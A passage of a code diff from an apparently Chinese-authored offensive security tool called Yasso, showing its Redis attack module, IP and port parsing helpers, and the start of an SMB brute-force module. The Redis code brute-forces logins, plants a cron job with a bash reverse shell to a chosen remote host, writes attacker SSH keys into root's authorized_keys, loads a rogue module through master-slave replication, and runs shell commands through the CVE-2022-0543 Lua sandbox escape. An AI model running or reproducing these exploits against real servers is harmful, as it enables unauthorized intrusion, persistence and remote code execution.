RedisCmd.Flags().IntVar(&LocalPort, "lport", 20001, "set local listen port (target redis need connect)")
|
||||
RedisCmd.Flags().StringVar(&RemoteSoPath, "so", "", "set target so path (not must)")
|
||||
RedisCmd.Flags().StringVar(&RedisRCEMethod, "method", "rce", "rce(master-slave) or lua(CVE-2022-0543)")
|
||||
RedisCmd.Flags().BoolVar(&IsRCE, "rce", false, "Whether to try rCE vulnerability")
|
||||
|
||||
}
|
||||
|
||||
func BruteRedisByUser() {
|
||||
if BrutePort == 0 {
|
||||
BrutePort = 6379
|
||||
}
|
||||
var ips []string
|
||||
var err error
|
||||
if Hosts != "" && ConnHost == "" {
|
||||
ips, err = ResolveIPS(Hosts)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("resolve hosts address failed %v", err))
|
||||
return
|
||||
}
|
||||
if BruteFlag == true {
|
||||
users, pass := ReadTextToDic("redis", UserDic, PassDic)
|
||||
Println("[*] Brute Module [redis]")
|
||||
Println("[*] Redis Authorized crack")
|
||||
Println(fmt.Sprintf("[*] Have [user:%v] [pass:%v] [request:%v]", len(users), len(pass), len(users)*len(pass)*len(ips)))
|
||||
SwitchBurp("redis", users, pass, ips, BrutePort, Runtime, TimeDuration, "")
|
||||
} else {
|
||||
Println("[*] May be you want to brute? try to add --crack")
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" && (RemoteHost != "" || RemotePublicKey != "" || SQLCommand != "") {
|
||||
var (
|
||||
conn net.Conn
|
||||
status bool
|
||||
err error
|
||||
)
|
||||
if LoginPass != "" {
|
||||
conn, status, err = RedisAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("Redis Auth failed %v", err))
|
||||
}
|
||||
} else {
|
||||
conn, status, err = RedisUnAuthConn(config.HostIn{Host: ConnHost, Port: BrutePort, TimeOut: TimeDuration}, "", LoginPass)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("Redis UnAuth failed %v", err))
|
||||
}
|
||||
}
|
||||
if SQLCommand != "" {
|
||||
RedisExec(conn, SQLCommand)
|
||||
return
|
||||
}
|
||||
if status == true {
|
||||
RedisExploit(conn, RemoteHost, RemotePublicKey)
|
||||
}
|
||||
}
|
||||
if Hosts == "" && ConnHost != "" && RedisRCEMethod != "" && IsRCE == true && LocalHost != "" {
|
||||
client := InitRedisClient(ConnHost, BrutePort, LoginPass)
|
||||
if strings.ToLower(RedisRCEMethod) == "rce" && LocalHost != "" && LocalPort != 0 {
|
||||
// 主从复制
|
||||
RedisRCE(client, LocalHost, LocalPort, RemoteSoPath)
|
||||
} else if strings.ToLower(RedisRCEMethod) == "lua" {
|
||||
//lua 沙盒逃逸
|
||||
RedisLua(client)
|
||||
} else {
|
||||
Println("[*] you need choose a rce method")
|
||||
return
|
||||
}
|
||||
_ = client.Close()
|
||||
} else {
|
||||
Println("[*] May be your want use redis extend ? Try to add --rekey or --rebound or --rce rce")
|
||||
}
|
||||
}
|
||||
|
||||
// redis config
|
||||
|
||||
type RedisConfig struct {
|
||||
OS string
|
||||
PID string
|
||||
ConfigPath string
|
||||
Version string
|
||||
DbFileName string
|
||||
}
|
||||
|
||||
func RedisAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
|
||||
var flag = false
|
||||
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
// 认证
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
flag = true
|
||||
conf := RedisInfo(conn, reply)
|
||||
Println(fmt.Sprintf("[+] Redis %s:%v Login Success os:[%v] path:[%v] dbfilename:[%v] pid:[%v]", info.Host, info.Port, conf.OS, conf.ConfigPath, conf.DbFileName, conf.PID))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisUnAuthConn(info config.HostIn, user, pass string) (net.Conn, bool, error) {
|
||||
_, _ = user, pass
|
||||
var flag = false
|
||||
conn, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.TimeOut)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
conf := RedisInfo(conn, reply)
|
||||
Println(fmt.Sprintf("[+] Redis %s:%v unauthorized dbfilename:[%v] ", info.Host, info.Port, conf.DbFileName))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisReply(conn net.Conn) (string, error) {
|
||||
var (
|
||||
r string
|
||||
err error
|
||||
)
|
||||
buf := make([]byte, 5*1024)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
r += string(buf[0:count])
|
||||
if count < 5*1024 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return r, err
|
||||
}
|
||||
|
||||
// redis get info
|
||||
|
||||
func RedisInfo(conn net.Conn, reply string) RedisConfig {
|
||||
var (
|
||||
dbfilename string
|
||||
)
|
||||
// 读取filename
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
if err != nil {
|
||||
return RedisConfig{}
|
||||
}
|
||||
text, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return RedisConfig{}
|
||||
}
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
|
||||
var redisConfig = RedisConfig{
|
||||
DbFileName: dbfilename,
|
||||
}
|
||||
return redisConfig
|
||||
}
|
||||
|
||||
// 测试利用写入是否可用
|
||||
|
||||
func RedisWrite(conn net.Conn) (cron bool, ssh bool, err error) {
|
||||
var reply string
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) // 测试公钥写入
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
ssh = true
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) // 测试定时计划写入
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, ssh, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
cron = true
|
||||
}
|
||||
return cron, ssh, nil
|
||||
}
|
||||
|
||||
// 计划任务写入
|
||||
|
||||
func RedisExploit(conn net.Conn, RemoteHost string, Filename string) {
|
||||
// 测试写入
|
||||
cron, ssh, err := RedisWrite(conn)
|
||||
// 上述返回3个值,返回c,s,e,c是corn的值,s是ssh写入,e是err
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("Redis Write Testing failed %v", err))
|
||||
return
|
||||
}
|
||||
var (
|
||||
status bool
|
||||
)
|
||||
if RemoteHost != "" && cron == true {
|
||||
status, err = RedisCron(conn, RemoteHost)
|
||||
if status == true {
|
||||
Println("[+] Write Rebound shell address Success")
|
||||
return
|
||||
} else {
|
||||
Println("[x] Redis Write Rebound shell address failed")
|
||||
return
|
||||
}
|
||||
}
|
||||
if Filename != "" && ssh == true {
|
||||
status, err = RedisKey(conn, Filename)
|
||||
if status == true {
|
||||
Println("[+] Write ssh key Success")
|
||||
return
|
||||
} else {
|
||||
Println("[x] Redis ssh key failed")
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func RedisExec(conn net.Conn, cmd string) {
|
||||
if cmd != "" {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("%s\r\n", cmd)))
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] %v", err))
|
||||
return
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
Println(fmt.Sprintf("[!] %v", err))
|
||||
return
|
||||
}
|
||||
Println(fmt.Sprintf("%v", string(reply)))
|
||||
}
|
||||
}
|
||||
|
||||
func RedisCron(conn net.Conn, RemoteHost string) (bool, error) {
|
||||
c, s, _ := RedisWrite(conn)
|
||||
Println(fmt.Sprintf("[+] Redis cron %v ssh %v", c, s))
|
||||
// 先解析RemoteHost参数
|
||||
var (
|
||||
remote = strings.Split(RemoteHost, ":")
|
||||
flag = false
|
||||
reply string
|
||||
host string
|
||||
port string
|
||||
)
|
||||
if len(remote) == 2 {
|
||||
host, port = remote[0], remote[1]
|
||||
} else {
|
||||
return false, errors.New("remote host address is not like 192.160.1.1:4444")
|
||||
}
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") { // redis可写定时计划任务
|
||||
// 存在定时计划写入
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
// 数据库设置成功
|
||||
if strings.Contains(reply, "+OK") {
|
||||
// 写入定时计划任务
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set corn \"\\n*/1 * * * * /bin/bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", host, port)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
Println("[+] save corn success")
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
Println("[+] Restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
// 公钥写入
|
||||
|
||||
func RedisKey(conn net.Conn, filename string) (bool, error) {
|
||||
var flag = false
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
key, err := ReadKeyFile(filename)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
return false, errors.New(fmt.Sprintf("the keyfile %s is empty", filename))
|
||||
}
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
// 保存
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
// 恢复原始的dbfilename
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename dump.rdb\r\n")))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply, err = RedisReply(conn)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(reply, "OK") {
|
||||
Println("[+] Restore the original dbfilename")
|
||||
}
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
|
||||
func ReadKeyFile(filename string) (string, error) {
|
||||
file, err := os.Open(filename)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer file.Close()
|
||||
scanner := bufio.NewScanner(file)
|
||||
for scanner.Scan() {
|
||||
text := strings.TrimSpace(scanner.Text())
|
||||
if text != "" {
|
||||
return text, nil
|
||||
}
|
||||
}
|
||||
return "", err
|
||||
}
|
||||
|
||||
func RedisRCE(client *redis.Client, LHost string, LPort int, SoPath string) {
|
||||
// 设置so文件存放路径
|
||||
var dest string
|
||||
if SoPath == "" {
|
||||
dest = "/tmp/net.so"
|
||||
} else {
|
||||
dest = SoPath
|
||||
}
|
||||
Rexec(fmt.Sprintf("slaveof %v %v", LHost, LPort), client)
|
||||
fmt.Println(fmt.Sprintf("[+] slaveof %v %v", LHost, LPort))
|
||||
dbfilename, dir := getInformation(client)
|
||||
filenameDir, filename := filepath.Split(dest)
|
||||
Rexec(fmt.Sprintf("config set dir %v", filenameDir), client)
|
||||
Rexec(fmt.Sprintf("config set dbfilename %v", filename), client)
|
||||
// 做监听
|
||||
ListenLocal(fmt.Sprintf("%v:%v", LHost, LPort))
|
||||
// 重置数据库
|
||||
reStore(client, dir, dbfilename)
|
||||
// 加载so文件
|
||||
s := Rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
if s == "need unload" {
|
||||
fmt.Println("[+] try to unload")
|
||||
Rexec(fmt.Sprintf("module unload system"), client)
|
||||
fmt.Println("[+] to the load")
|
||||
Rexec(fmt.Sprintf("module load %v", dest), client)
|
||||
}
|
||||
fmt.Println("[+] module load success")
|
||||
// 循环执行命令
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
var cmd string
|
||||
fmt.Printf("[redis-rce]» ")
|
||||
cmd, _ = reader.ReadString('\n')
|
||||
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
|
||||
if cmd == "exit" {
|
||||
cmd = fmt.Sprintf("rm %v", dest)
|
||||
run(fmt.Sprintf(cmd), client)
|
||||
Rexec(fmt.Sprintf("module unload system"), client)
|
||||
fmt.Println("[+] module unload system break redis-rce")
|
||||
break
|
||||
}
|
||||
Receive(run(fmt.Sprintf(cmd), client))
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func RedisLua(client *redis.Client) {
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
for {
|
||||
var cmd string
|
||||
fmt.Printf("[redis-lua]» ")
|
||||
cmd, _ = reader.ReadString('\n')
|
||||
cmd = strings.ReplaceAll(strings.ReplaceAll(cmd, "\r", ""), "\n", "")
|
||||
if cmd == "exit" {
|
||||
break
|
||||
}
|
||||
Receive(execLua(cmd, client))
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
func Rexec(cmd string, client *redis.Client) string {
|
||||
args := strings.Fields(cmd)
|
||||
var argsInterface []interface{}
|
||||
for _, arg := range args {
|
||||
argsInterface = append(argsInterface, arg)
|
||||
}
|
||||
//Send(cmd)
|
||||
val, err := client.Do(context.Background(), argsInterface...).Result()
|
||||
return Check(val, err)
|
||||
}
|
||||
|
||||
func getInformation(client *redis.Client) (string, string) {
|
||||
r := Rexec("config get dbfilename", client)
|
||||
if !strings.HasPrefix(r, "dbfilename") {
|
||||
return "", ""
|
||||
}
|
||||
dbfilename := r[11 : len(r)-1]
|
||||
d := Rexec("config get dir", client)
|
||||
if !strings.HasPrefix(d, "dir") {
|
||||
return "", ""
|
||||
}
|
||||
dir := d[4 : len(d)-1]
|
||||
return dbfilename, dir
|
||||
}
|
||||
|
||||
func Send(str string) {
|
||||
str = strings.TrimSpace(str)
|
||||
fmt.Println(fmt.Sprintf("[->] %v", str))
|
||||
}
|
||||
|
||||
func Receive(str string) {
|
||||
str = strings.TrimSpace(str)
|
||||
fmt.Println(fmt.Sprintf("%v", str))
|
||||
}
|
||||
|
||||
func Check(val interface{}, err error) string {
|
||||
if err != nil {
|
||||
if err == redis.Nil {
|
||||
fmt.Println("[!] key is not exist")
|
||||
return ""
|
||||
}
|
||||
fmt.Println(fmt.Sprintf("[!] %v", err.Error()))
|
||||
if err.Error() == "ERR Error loading the extension. Please check the server logs." {
|
||||
return "need unload"
|
||||
}
|
||||
os.Exit(0)
|
||||
}
|
||||
switch v := val.(type) {
|
||||
case string:
|
||||
return v
|
||||
case []string:
|
||||
return "list result:" + strings.Join(v, " ")
|
||||
case []interface{}:
|
||||
s := ""
|
||||
for _, i := range v {
|
||||
s += i.(string) + " "
|
||||
}
|
||||
return s
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func ListenLocal(address string) {
|
||||
var wg = &sync.WaitGroup{}
|
||||
wg.Add(1)
|
||||
addr, err := net.ResolveTCPAddr("tcp", address)
|
||||
if err != nil {
|
||||
fmt.Println("[!] resolve tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
listen, err := net.ListenTCP("tcp", addr)
|
||||
if err != nil {
|
||||
fmt.Println("[!] listen tcp address failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
defer listen.Close()
|
||||
fmt.Println(fmt.Sprintf("[*] start listen in %v", address))
|
||||
c, err := listen.AcceptTCP()
|
||||
if err != nil {
|
||||
fmt.Println("[!] accept tcp failed")
|
||||
os.Exit(0)
|
||||
}
|
||||
go masterSlave(wg, c)
|
||||
wg.Wait()
|
||||
_ = c.Close()
|
||||
}
|
||||
|
||||
func masterSlave(wg *sync.WaitGroup, c *net.TCPConn) {
|
||||
defer wg.Done()
|
||||
buf := make([]byte, 1024)
|
||||
for {
|
||||
time.Sleep(1 * time.Second)
|
||||
n, err := c.Read(buf)
|
||||
if err == io.EOF || n == 0 {
|
||||
fmt.Println("[*] master-slave replication process is complete")
|
||||
return
|
||||
}
|
||||
switch {
|
||||
case strings.Contains(string(buf[:n]), "PING"):
|
||||
c.Write([]byte("+PONG\r\n"))
|
||||
//Send("+PONG")
|
||||
case strings.Contains(string(buf[:n]), "REPLCONF"):
|
||||
c.Write([]byte("+OK\r\n"))
|
||||
//Send("+OK")
|
||||
case strings.Contains(string(buf[:n]), "SYNC"):
|
||||
resp := "+FULLRESYNC " + "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ" + " 1" + "\r\n" // 垃圾字符
|
||||
resp += "$" + fmt.Sprintf("%v", len(payload)) + "\r\n"
|
||||
rep := []byte(resp)
|
||||
rep = append(rep, payload...)
|
||||
rep = append(rep, []byte("\r\n")...)
|
||||
c.Write(rep)
|
||||
//Send(resp)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func reStore(client *redis.Client, dir, dbfilename string) {
|
||||
success := Rexec("slaveof no one", client)
|
||||
if strings.Contains(success, "OK") {
|
||||
fmt.Println("[+] restore file success")
|
||||
}
|
||||
Rexec(fmt.Sprintf("config set dir %v", dir), client)
|
||||
Rexec(fmt.Sprintf("config set dbfilename %v", dbfilename), client)
|
||||
}
|
||||
|
||||
func run(cmd string, client *redis.Client) string {
|
||||
ctx := context.Background()
|
||||
val, err := client.Do(ctx, "system.exec", cmd).Result()
|
||||
return Check(val, err)
|
||||
}
|
||||
|
||||
func execLua(cmd string, client *redis.Client) string {
|
||||
ctx := context.Background()
|
||||
val, err := client.Do(ctx, "eval", fmt.Sprintf(`local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("%v", "r"); local res = f:read("*a"); f:close(); return res`, cmd), "0").Result()
|
||||
return Check(val, err)
|
||||
}
|
||||
|
||||
func InitRedisClient(host string, port int, pass string) *redis.Client {
|
||||
rdb := redis.NewClient(&redis.Options{
|
||||
Addr: fmt.Sprintf("%v:%v", host, port),
|
||||
Password: pass, // no password set
|
||||
DB: 0, // use default DB
|
||||
})
|
||||
return rdb
|
||||
}
|
||||
167
cmd/resolve.go
167
cmd/resolve.go
@@ -1,167 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"net"
|
||||
"os"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ResolveIPS(ip string) ([]string, error) {
|
||||
if strings.Contains(ip, ".") && strings.Contains(ip, ".txt") {
|
||||
// 此时传入的是文件txt
|
||||
file, err := os.Open(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
ips := Readiness(file)
|
||||
return ips, err
|
||||
}
|
||||
reg := regexp.MustCompile(`[a-zA-Z]+`)
|
||||
switch {
|
||||
case strings.Contains(ip, "/"):
|
||||
return resolveIP(ip)
|
||||
case strings.Count(ip, "-") == 1:
|
||||
return resolveIPC(ip)
|
||||
case reg.MatchString(ip):
|
||||
_, err := net.LookupHost(ip)
|
||||
if err != nil {
|
||||
return []string{}, err
|
||||
}
|
||||
return []string{ip}, nil
|
||||
default:
|
||||
var isip = net.ParseIP(ip)
|
||||
if isip == nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
return []string{ip}, nil
|
||||
}
|
||||
}
|
||||
|
||||
// 解析192.168.1.1/*的格式
|
||||
|
||||
func resolveIP(ip string) ([]string, error) {
|
||||
var ip4 = net.ParseIP(strings.Split(ip, "/")[0]) // [192.168.1.1 *]
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var footmark = strings.Split(ip, "/")[1] // *
|
||||
var temp []string
|
||||
var err error
|
||||
switch footmark {
|
||||
case "24":
|
||||
var ip3 = strings.Join(strings.Split(ip[:], ".")[0:3], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
temp = append(temp, ip3+"."+strconv.Itoa(i))
|
||||
}
|
||||
err = nil
|
||||
case "16":
|
||||
var ip2 = strings.Join(strings.Split(ip[:], ".")[0:2], ".")
|
||||
for i := 0; i <= 255; i++ {
|
||||
for j := 0; j <= 255; j++ {
|
||||
temp = append(temp, ip2+"."+strconv.Itoa(i)+"."+strconv.Itoa(j))
|
||||
}
|
||||
}
|
||||
err = nil
|
||||
default:
|
||||
temp = []string{}
|
||||
err = errors.New("not currently supported")
|
||||
}
|
||||
return temp, err
|
||||
}
|
||||
|
||||
// 解析192.168.1.1-*格式
|
||||
|
||||
func resolveIPC(ip string) ([]string, error) {
|
||||
var ip4 = strings.Split(ip, "-")
|
||||
var ipA = net.ParseIP(ip4[0])
|
||||
if ip4 == nil {
|
||||
return []string{}, errors.New("not an ipv4 address")
|
||||
}
|
||||
var temp []string
|
||||
if len(ip4[1]) < 4 {
|
||||
iprange, err := strconv.Atoi(ip4[1])
|
||||
if ipA == nil || iprange > 255 || err != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
var splitip = strings.Split(ip4[0], ".")
|
||||
ip1, err1 := strconv.Atoi(splitip[3])
|
||||
ip2, err2 := strconv.Atoi(ip4[1])
|
||||
prefixip := strings.Join(splitip[0:3], ".")
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
for i := ip1; i <= ip2; i++ {
|
||||
temp = append(temp, prefixip+"."+strconv.Itoa(i))
|
||||
}
|
||||
} else {
|
||||
var splitip1 = strings.Split(ip4[0], ".")
|
||||
var splitip2 = strings.Split(ip4[1], ".")
|
||||
if len(splitip1) != 4 || len(splitip2) != 4 {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start, end := [4]int{}, [4]int{}
|
||||
for i := 0; i < 4; i++ {
|
||||
ip1, err1 := strconv.Atoi(splitip1[i])
|
||||
ip2, err2 := strconv.Atoi(splitip2[i])
|
||||
if ip1 > ip2 || err1 != nil || err2 != nil {
|
||||
return []string{}, errors.New("input format is not ccorrect")
|
||||
}
|
||||
start[i], end[i] = ip1, ip2
|
||||
}
|
||||
startNum := start[0]<<24 | start[1]<<16 | start[2]<<8 | start[3]
|
||||
endNum := end[0]<<24 | end[1]<<16 | end[2]<<8 | end[3]
|
||||
for num := startNum; num <= endNum; num++ {
|
||||
ip := strconv.Itoa((num>>24)&0xff) + "." + strconv.Itoa((num>>16)&0xff) + "." + strconv.Itoa((num>>8)&0xff) + "." + strconv.Itoa((num)&0xff)
|
||||
temp = append(temp, ip)
|
||||
}
|
||||
}
|
||||
return temp, nil
|
||||
}
|
||||
|
||||
func RemoveDuplicate(old []int) []int {
|
||||
result := make([]int, 0, len(old))
|
||||
temp := map[int]struct{}{}
|
||||
for _, item := range old {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// 解析为445,69,72-15这种以逗号隔开的端口
|
||||
|
||||
func ResolvePORTS(ports string) ([]int, error) {
|
||||
var scanPorts []int
|
||||
slices := strings.Split(ports, ",")
|
||||
for _, port := range slices {
|
||||
port = strings.Trim(port, " ")
|
||||
upper := port
|
||||
if strings.Contains(port, "-") {
|
||||
ranges := strings.Split(port, "-")
|
||||
if len(ranges) < 2 {
|
||||
continue
|
||||
}
|
||||
startPort, _ := strconv.Atoi(ranges[0])
|
||||
endPort, _ := strconv.Atoi(ranges[1])
|
||||
if startPort < endPort {
|
||||
port = ranges[0]
|
||||
upper = ranges[1]
|
||||
} else {
|
||||
port = ranges[1]
|
||||
upper = ranges[0]
|
||||
}
|
||||
}
|
||||
start, _ := strconv.Atoi(port)
|
||||
end, _ := strconv.Atoi(upper)
|
||||
for i := start; i <= end; i++ {
|
||||
scanPorts = append(scanPorts, i)
|
||||
}
|
||||
}
|
||||
scanPorts = RemoveDuplicate(scanPorts)
|
||||
return scanPorts, nil
|
||||
}
|
||||
43
cmd/root.go
43
cmd/root.go
@@ -1,43 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
TimeDuration time.Duration // 超时时间
|
||||
Hosts string // 全局host变量
|
||||
RunICMP bool // 是否执行ICMP
|
||||
Ports string // 需要解析的端口
|
||||
Runtime int // 运行的线程
|
||||
JsonBool bool // 是否使用日志
|
||||
PingBool bool // 是否执行ping操作
|
||||
UserDic string // 爆破的用户名路径
|
||||
PassDic string // 爆破的密码路径
|
||||
BruteFlag bool // 是否进行爆破
|
||||
ConnHost string // 单独变量的链接地址
|
||||
BrutePort int // 爆破使用的端口
|
||||
LoginUser string // 登陆使用的用户
|
||||
LoginPass string // 登陆使用的密码
|
||||
LoginPublicKey string // 登陆使用的公钥路径
|
||||
ProxyHost string // 代理地址 user:pass@ip:port 格式
|
||||
SQLShellBool bool // 是否启动sql—shell
|
||||
SQLCommand string // sql语句单条命令行
|
||||
WinRMbool bool // winrm shell
|
||||
NoCrack bool // 判断all模块是否爆破服务
|
||||
)
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "Yasso",
|
||||
Short: "\n __ __ ______ ______ ______ ______ \n/\\ \\_\\ \\ /\\ __ \\ /\\ ___\\ /\\ ___\\ /\\ __ \\ \n\\ \\____ \\ \\ \\ __ \\ \\ \\___ \\ \\ \\___ \\ \\ \\ \\/\\ \\ \n \\/\\_____\\ \\ \\_\\ \\_\\ \\/\\_____\\ \\/\\_____\\ \\ \\_____\\ \n \\/_____/ \\/_/\\/_/ \\/_____/ \\/_____/ \\/_____/ \n \n",
|
||||
}
|
||||
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
Println(fmt.Sprintf("%v", err))
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
87
cmd/smb.go
87
cmd/smb.go
@@ -1,87 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"time"
|
||||
)
|
||||
|
||||
/*
|
||||
模块完成时间2021年12月28日,主要用于smb爆破,扫描445端口,似乎不能走socks5代理
|
||||
*/
|
||||
|
||||
var SmbCmd = &cobra.Command{
|
||||
Use: "smb",
|
||||
